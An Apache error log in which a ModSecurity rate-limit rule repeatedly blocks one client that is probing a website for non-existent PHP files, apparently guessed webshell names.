[Fri Apr 17 14:31:10.532697 2026] [proxy_fcgi:error] [pid 61523:tid 61563] [client 74.234.56.128:24933] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 14:31:10.800791 2026] [proxy_fcgi:error] [pid 9152:tid 9214] [client 74.234.56.128:24905] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 14:31:10.801513 2026] [proxy_fcgi:error] [pid 61523:tid 61547] [client 74.234.56.128:24933] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 14:31:11.061171 2026] [:error] [pid 9152:tid 9190] [client 74.234.56.128:24905] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xmff.php"] [unique_id "aeHTr5JYca8I3TNCwIf90gAAAEA"]
[Fri Apr 17 14:31:11.065057 2026] [:error] [pid 61523:tid 61559] [client 74.234.56.128:24933] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xmff.php"] [unique_id "aeHTr8OaH-Pgc7WEf4NFXwAAAdE"]
[Fri Apr 17 14:31:11.574727 2026] [:error] [pid 9263:tid 9289] [client 74.234.56.128:24958] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xmff.php"] [unique_id "aeHTrxP68VyHNvj1e56h4AAAANg"]
[Fri Apr 17 14:31:11.766979 2026] [:error] [pid 9152:tid 9208] [client 74.234.56.128:25372] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xmff.php"] [unique_id "aeHTr5JYca8I3TNCwIf90wAAAFI"]
[Fri Apr 17 14:31:12.115756 2026] [:error] [pid 9152:tid 9198] [client 74.234.56.128:24876] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xmff.php"] [unique_id "aeHTsJJYca8I3TNCwIf91AAAAEg"]
[Fri Apr 17 14:31:12.273286 2026] [:error] [pid 9263:tid 9267] [client 74.234.56.128:25450] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xmff.php"] [unique_id "aeHTsBP68VyHNvj1e56h4gAAAMI"]
[Fri Apr 17 14:31:12.684493 2026] [:error] [pid 9263:tid 9272] [client 74.234.56.128:24890] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xmff.php"] [unique_id "aeHTsBP68VyHNvj1e56h4wAAAMc"]
[Fri Apr 17 14:31:12.822543 2026] [:error] [pid 9263:tid 9284] [client 74.234.56.128:24886] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xmff.php"] [unique_id "aeHTsBP68VyHNvj1e56h5AAAANM"]
[Fri Apr 17 14:31:13.255784 2026] [:error] [pid 51878:tid 51883] [client 74.234.56.128:25453] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ktfow.php"] [unique_id "aeHTsUnQhUtMbw9EsgYaFgAAAQM"]
[Fri Apr 17 14:31:13.329773 2026] [:error] [pid 9151:tid 9172] [client 74.234.56.128:25366] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ktfow.php"] [unique_id "aeHTschTVuRPkua22vQUWAAAAAs"]
[Fri Apr 17 14:31:13.771205 2026] [:error] [pid 9153:tid 9223] [client 74.234.56.128:24895] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ktfow.php"] [unique_id "aeHTseMHGxkTZX3c45fOqwAAAIU"]
[Fri Apr 17 14:31:13.868185 2026] [:error] [pid 25010:tid 25033] [client 74.234.56.128:25460] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ktfow.php"] [unique_id "aeHTsY-7kkf42RarqQ1FVQAAAVQ"]
[Fri Apr 17 14:31:14.314514 2026] [:error] [pid 51878:tid 51880] [client 74.234.56.128:24941] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ktfow.php"] [unique_id "aeHTsknQhUtMbw9EsgYaGAAAAQA"]
[Fri Apr 17 14:31:14.376304 2026] [:error] [pid 9151:tid 9181] [client 74.234.56.128:24920] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ktfow.php"] [unique_id "aeHTsshTVuRPkua22vQUWQAAABQ"]
[Fri Apr 17 14:31:14.846663 2026] [:error] [pid 9151:tid 9184] [client 74.234.56.128:24937] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ktfow.php"] [unique_id "aeHTsshTVuRPkua22vQUWwAAABc"]
[Fri Apr 17 14:31:14.900450 2026] [:error] [pid 9152:tid 9205] [client 74.234.56.128:24392] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ktfow.php"] [unique_id "aeHTspJYca8I3TNCwIf91gAAAE8"]
[Fri Apr 17 14:31:15.388453 2026] [:error] [pid 25010:tid 25024] [client 74.234.56.128:24891] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/stun.php"] [unique_id "aeHTs4-7kkf42RarqQ1FVwAAAUs"]
[Fri Apr 17 14:31:15.406974 2026] [:error] [pid 9153:tid 9231] [client 74.234.56.128:24862] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/stun.php"] [unique_id "aeHTs-MHGxkTZX3c45fOrAAAAI0"]
[Fri Apr 17 14:31:15.903329 2026] [:error] [pid 9153:tid 9236] [client 74.234.56.128:24396] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/stun.php"] [unique_id "aeHTs-MHGxkTZX3c45fOrQAAAJI"]
[Fri Apr 17 14:31:15.927615 2026] [:error] [pid 9153:tid 9225] [client 74.234.56.128:25387] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/stun.php"] [unique_id "aeHTs-MHGxkTZX3c45fOrgAAAIc"]
[Fri Apr 17 14:31:16.425978 2026] [:error] [pid 9263:tid 9279] [client 74.234.56.128:25408] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/stun.php"] [unique_id "aeHTtBP68VyHNvj1e56h6wAAAM4"]
[Fri Apr 17 14:31:16.447674 2026] [:error] [pid 34273:tid 34286] [client 74.234.56.128:24388] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/stun.php"] [unique_id "aeHTtGuQDW686mK3dgHCnAAAAYs"]
[Fri Apr 17 14:31:16.963516 2026] [:error] [pid 34273:tid 34284] [client 74.234.56.128:25468] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/stun.php"] [unique_id "aeHTtGuQDW686mK3dgHCnQAAAYk"]
[Fri Apr 17 14:31:16.985890 2026] [:error] [pid 25010:tid 25036] [client 74.234.56.128:24858] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/stun.php"] [unique_id "aeHTtI-7kkf42RarqQ1FWAAAAVc"]
[Fri Apr 17 14:31:17.489381 2026] [:error] [pid 9151:tid 9182] [client 74.234.56.128:25466] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/press.php"] [unique_id "aeHTtchTVuRPkua22vQUXQAAABU"]
[Fri Apr 17 14:31:17.713096 2026] [:error] [pid 51878:tid 51900] [client 74.234.56.128:24353] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/press.php"] [unique_id "aeHTtUnQhUtMbw9EsgYaGgAAARQ"]
[Fri Apr 17 14:31:18.161757 2026] [:error] [pid 61523:tid 61541] [client 74.234.56.128:25386] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/press.php"] [unique_id "aeHTtsOaH-Pgc7WEf4NFZAAAAcA"]
[Fri Apr 17 14:31:18.210417 2026] [:error] [pid 61523:tid 61544] [client 74.234.56.128:25964] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/press.php"] [unique_id "aeHTtsOaH-Pgc7WEf4NFZQAAAcI"]
[Fri Apr 17 14:31:18.689949 2026] [:error] [pid 51878:tid 51891] [client 74.234.56.128:25439] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/press.php"] [unique_id "aeHTtknQhUtMbw9EsgYaGwAAAQs"]
[Fri Apr 17 14:31:18.763015 2026] [:error] [pid 51878:tid 51892] [client 74.234.56.128:25437] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/press.php"] [unique_id "aeHTtknQhUtMbw9EsgYaHAAAAQw"]
[Fri Apr 17 14:31:19.193559 2026] [:error] [pid 34273:tid 34295] [client 74.234.56.128:25884] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/press.php"] [unique_id "aeHTt2uQDW686mK3dgHCnwAAAZQ"]
[Fri Apr 17 14:31:19.318247 2026] [:error] [pid 51878:tid 51904] [client 74.234.56.128:25885] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/press.php"] [unique_id "aeHTt0nQhUtMbw9EsgYaHQAAARg"]
[Fri Apr 17 14:31:19.788028 2026] [:error] [pid 61523:tid 61548] [client 74.234.56.128:25881] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mode.php"] [unique_id "aeHTt8OaH-Pgc7WEf4NFZgAAAcY"]
[Fri Apr 17 14:31:19.859977 2026] [:error] [pid 61523:tid 61563] [client 74.234.56.128:24904] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mode.php"] [unique_id "aeHTt8OaH-Pgc7WEf4NFZwAAAdU"]
[Fri Apr 17 14:31:20.299013 2026] [:error] [pid 34273:tid 34287] [client 74.234.56.128:25944] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mode.php"] [unique_id "aeHTuGuQDW686mK3dgHCoAAAAYw"]
[Fri Apr 17 14:31:20.384643 2026] [:error] [pid 25010:tid 25013] [client 74.234.56.128:25903] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mode.php"] [unique_id "aeHTuI-7kkf42RarqQ1FXAAAAUA"]
[Fri Apr 17 14:31:20.836352 2026] [:error] [pid 34273:tid 34299] [client 74.234.56.128:25396] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mode.php"] [unique_id "aeHTuGuQDW686mK3dgHCoQAAAZg"]
[Fri Apr 17 14:31:20.945729 2026] [:error] [pid 34273:tid 34291] [client 74.234.56.128:25931] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mode.php"] [unique_id "aeHTuGuQDW686mK3dgHCogAAAZA"]
[Fri Apr 17 14:31:21.351906 2026] [:error] [pid 34273:tid 34289] [client 74.234.56.128:25948] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mode.php"] [unique_id "aeHTuWuQDW686mK3dgHCowAAAY4"]
[Fri Apr 17 14:31:21.584025 2026] [:error] [pid 61523:tid 61562] [client 74.234.56.128:25344] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mode.php"] [unique_id "aeHTucOaH-Pgc7WEf4NFagAAAdQ"]
[Fri Apr 17 14:31:21.907040 2026] [:error] [pid 34273:tid 34282] [client 74.234.56.128:25424] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/eetu.php"] [unique_id "aeHTuWuQDW686mK3dgHCpQAAAYc"]
[Fri Apr 17 14:31:22.184572 2026] [:error] [pid 61523:tid 61555] [client 74.234.56.128:25471] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/eetu.php"] [unique_id "aeHTusOaH-Pgc7WEf4NFbAAAAc0"]
[Fri Apr 17 14:31:22.513856 2026] [:error] [pid 34273:tid 34277] [client 74.234.56.128:25973] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/eetu.php"] [unique_id "aeHTumuQDW686mK3dgHCpwAAAYI"]
[Fri Apr 17 14:31:22.689422 2026] [:error] [pid 9263:tid 9282] [client 74.234.56.128:25435] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/eetu.php"] [unique_id "aeHTuhP68VyHNvj1e56h7AAAANE"]
[Fri Apr 17 14:31:23.035130 2026] [:error] [pid 34273:tid 34283] [client 74.234.56.128:24934] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/eetu.php"] [unique_id "aeHTu2uQDW686mK3dgHCqAAAAYg"]
[Fri Apr 17 14:31:23.252409 2026] [:error] [pid 51878:tid 51896] [client 74.234.56.128:25901] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/eetu.php"] [unique_id "aeHTu0nQhUtMbw9EsgYaHgAAARA"]
[Fri Apr 17 14:31:23.604622 2026] [:error] [pid 9263:tid 9275] [client 74.234.56.128:25457] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/eetu.php"] [unique_id "aeHTuxP68VyHNvj1e56h7QAAAMo"]
[Fri Apr 17 14:31:23.874356 2026] [:error] [pid 34273:tid 34285] [client 74.234.56.128:25427] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/eetu.php"] [unique_id "aeHTu2uQDW686mK3dgHCqQAAAYo"]
[Fri Apr 17 14:31:24.126945 2026] [:error] [pid 34273:tid 34276] [client 74.234.56.128:25407] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/C1.php"] [unique_id "aeHTvGuQDW686mK3dgHCqgAAAYE"]
[Fri Apr 17 14:31:24.462095 2026] [:error] [pid 61523:tid 61558] [client 74.234.56.128:25930] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/C1.php"] [unique_id "aeHTvMOaH-Pgc7WEf4NFbwAAAdA"]
[Fri Apr 17 14:31:24.636781 2026] [:error] [pid 61523:tid 61549] [client 74.234.56.128:25972] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/C1.php"] [unique_id "aeHTvMOaH-Pgc7WEf4NFcAAAAcc"]
[Fri Apr 17 14:31:25.064038 2026] [:error] [pid 25010:tid 25022] [client 74.234.56.128:24907] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/C1.php"] [unique_id "aeHTvY-7kkf42RarqQ1FYQAAAUk"]
[Fri Apr 17 14:31:25.183152 2026] [:error] [pid 34273:tid 34281] [client 74.234.56.128:25876] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/C1.php"] [unique_id "aeHTvWuQDW686mK3dgHCrQAAAYY"]
[Fri Apr 17 14:31:25.577125 2026] [:error] [pid 61523:tid 61557] [client 74.234.56.128:24940] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/C1.php"] [unique_id "aeHTvcOaH-Pgc7WEf4NFcQAAAc8"]
[Fri Apr 17 14:31:25.707534 2026] [:error] [pid 61523:tid 61564] [client 74.234.56.128:25351] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/C1.php"] [unique_id "aeHTvcOaH-Pgc7WEf4NFcgAAAdY"]
[Fri Apr 17 14:31:26.137907 2026] [:error] [pid 61523:tid 61554] [client 74.234.56.128:25949] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/C1.php"] [unique_id "aeHTvsOaH-Pgc7WEf4NFdAAAAcw"]
